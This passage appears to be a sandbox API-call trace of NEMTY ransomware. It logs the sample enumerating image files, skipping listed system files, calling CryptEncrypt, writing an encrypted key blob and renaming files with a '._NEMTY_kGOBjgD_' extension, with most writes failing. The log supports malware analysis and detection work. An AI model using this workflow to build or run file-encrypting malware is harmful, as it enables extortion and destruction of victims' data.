lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0157.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0157.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0157.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0157.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0157.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0157.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0157.883] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\6.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\6.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\6.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\6.png._nemty_kgobjgd_")) returned 0 [0157.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0157.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0157.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0157.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0157.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0157.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0157.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0157.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0157.883] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c1358c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c1358c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aee1b21, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1701, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="7.png", cAlternateFileName="")) returned 1 [0157.883] lstrcmpiW (lpString1="7.png", lpString2=".") returned 1 [0157.883] lstrcmpiW (lpString1="7.png", lpString2="..") returned 1 [0157.883] lstrcmpiW (lpString1="7.png", lpString2="...") returned 1 [0157.883] lstrcmpiW (lpString1="7.png", lpString2="windows") returned -1 [0157.883] lstrcmpiW (lpString1="7.png", lpString2="$RECYCLE.BIN") returned 1 [0157.883] lstrcmpiW (lpString1="7.png", lpString2="rsa") returned -1 [0157.883] lstrcmpiW (lpString1="7.png", lpString2="NTDETECT.COM") returned -1 [0157.883] lstrcmpiW (lpString1="7.png", lpString2="ntldr") returned -1 [0157.883] lstrcmpiW (lpString1="7.png", lpString2="MSDOS.SYS") returned -1 [0157.884] lstrcmpiW (lpString1="7.png", lpString2="IO.SYS") returned -1 [0157.884] lstrcmpiW (lpString1="7.png", lpString2="boot.ini") returned -1 [0157.884] lstrcmpiW (lpString1="7.png", lpString2="boot.ini") returned -1 [0157.884] lstrcmpiW (lpString1="7.png", lpString2="AUTOEXEC.BAT") returned -1 [0157.884] lstrcmpiW (lpString1="7.png", lpString2="ntuser.dat") returned -1 [0157.884] lstrcmpiW (lpString1="7.png", lpString2="desktop.ini") returned -1 [0157.884] lstrcmpiW (lpString1="7.png", lpString2="CONFIG.SYS") returned -1 [0157.884] lstrcmpiW (lpString1="7.png", lpString2="RECYCLER") returned -1 [0157.884] lstrcmpiW (lpString1="7.png", lpString2="BOOTSECT.BAK") returned -1 [0157.884] lstrcmpiW (lpString1="7.png", lpString2="bootmgr") returned -1 [0157.884] lstrcmpiW (lpString1="7.png", lpString2="programdata") returned -1 [0157.884] lstrcmpiW (lpString1="7.png", lpString2="appdata") returned -1 [0157.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0157.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7.png", lpUsedDefaultChar=0x0) returned 5 [0157.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0157.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7.png", lpUsedDefaultChar=0x0) returned 5 [0157.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0157.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7.png", cchWideChar=5, lpMultiByteStr=0x653ec20, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7.png", lpUsedDefaultChar=0x0) returned 5 [0157.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0157.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7.png", cchWideChar=5, lpMultiByteStr=0x653ec58, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7.png", lpUsedDefaultChar=0x0) returned 5 [0157.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0157.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0157.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0157.884] Sleep (dwMilliseconds=0x5) [0157.885] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x11c10110, dwHighDateTime=0x1d561e8)) [0157.885] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x11c10110, dwHighDateTime=0x1d561e8)) [0157.885] GetLastError () returned 0x5 [0157.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0157.885] GetLastError () returned 0x5 [0157.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0157.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0157.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0157.886] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0157.886] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0157.886] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0157.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0157.886] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="KSDfSFv1Cp5aEZ8/mP2oHOezlxSB8tRvJsrurqksOEUkH/bWSJtpVlXng3u5hdpQ\r\nhANNb/78YxTXr/EjzzVPXpDqRJiY/y/SB6KTD0EITG3BeYxBQtIy6wGLf8j4pWt1\r\ndfURc33DnU632tA31Uhm3o3F6lAb1WpHr7JbZAKvVJaRN82bgZxqIpYNAz3Q7pv7\r\nqX+/RscghdeKSvVqmQj4SeqGVIbC0dLXGubDaG2WNTn/KPaYdy8AoQfQxRPONKFp\r\n6LNe8ecALMLc5tYtQ9150x3YtWzPCpfjqspRXtEWcf4gLlOc/Oq2/2lp1xIix4tW\r\n6RADmuv9x4a0Ju97exXAGw==\r\n", pcchString=0x653e91c) returned 1 [0157.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0157.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0157.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0157.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0157.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0157.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0157.886] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\7.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\7.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0157.886] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0157.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0157.886] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.886] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.895] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.895] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.895] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.896] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.905] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.905] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.905] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.905] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.914] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.914] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.923] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.923] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.923] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.923] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.933] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.933] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.933] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.933] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.942] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.942] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.951] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.951] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.961] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.961] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.961] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.961] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.970] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.970] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.970] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.970] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.979] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.979] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.979] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.979] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.985] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.985] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.985] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.985] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.991] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.991] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.991] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.991] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0157.991] CloseHandle (hObject=0xffffffff) returned 0 [0157.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0157.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0157.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0157.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0157.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0157.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0157.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0157.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0157.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0157.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0157.991] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\7.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\7.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\7.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\7.png._nemty_kgobjgd_")) returned 0 [0157.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0157.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0157.991] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0157.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0157.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0157.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0157.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0157.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0157.992] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c1358c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c1358c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aee1b21, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="8.png", cAlternateFileName="")) returned 1 [0157.992] lstrcmpiW (lpString1="8.png", lpString2=".") returned 1 [0157.992] lstrcmpiW (lpString1="8.png", lpString2="..") returned 1 [0157.992] lstrcmpiW (lpString1="8.png", lpString2="...") returned 1 [0157.992] lstrcmpiW (lpString1="8.png", lpString2="windows") returned -1 [0157.992] lstrcmpiW (lpString1="8.png", lpString2="$RECYCLE.BIN") returned 1 [0157.992] lstrcmpiW (lpString1="8.png", lpString2="rsa") returned -1 [0157.992] lstrcmpiW (lpString1="8.png", lpString2="NTDETECT.COM") returned -1 [0157.992] lstrcmpiW (lpString1="8.png", lpString2="ntldr") returned -1 [0157.992] lstrcmpiW (lpString1="8.png", lpString2="MSDOS.SYS") returned -1 [0157.992] lstrcmpiW (lpString1="8.png", lpString2="IO.SYS") returned -1 [0157.992] lstrcmpiW (lpString1="8.png", lpString2="boot.ini") returned -1 [0157.992] lstrcmpiW (lpString1="8.png", lpString2="boot.ini") returned -1 [0157.992] lstrcmpiW (lpString1="8.png", lpString2="AUTOEXEC.BAT") returned -1 [0157.992] lstrcmpiW (lpString1="8.png", lpString2="ntuser.dat") returned -1 [0157.992] lstrcmpiW (lpString1="8.png", lpString2="desktop.ini") returned -1 [0157.992] lstrcmpiW (lpString1="8.png", lpString2="CONFIG.SYS") returned -1 [0157.992] lstrcmpiW (lpString1="8.png", lpString2="RECYCLER") returned -1 [0157.992] lstrcmpiW (lpString1="8.png", lpString2="BOOTSECT.BAK") returned -1 [0157.992] lstrcmpiW (lpString1="8.png", lpString2="bootmgr") returned -1 [0157.992] lstrcmpiW (lpString1="8.png", lpString2="programdata") returned -1 [0157.992] lstrcmpiW (lpString1="8.png", lpString2="appdata") returned -1 [0157.992] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0157.992] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8.png", lpUsedDefaultChar=0x0) returned 5 [0157.992] WideCharToMultiByte (in: CodePage=0xfde9, 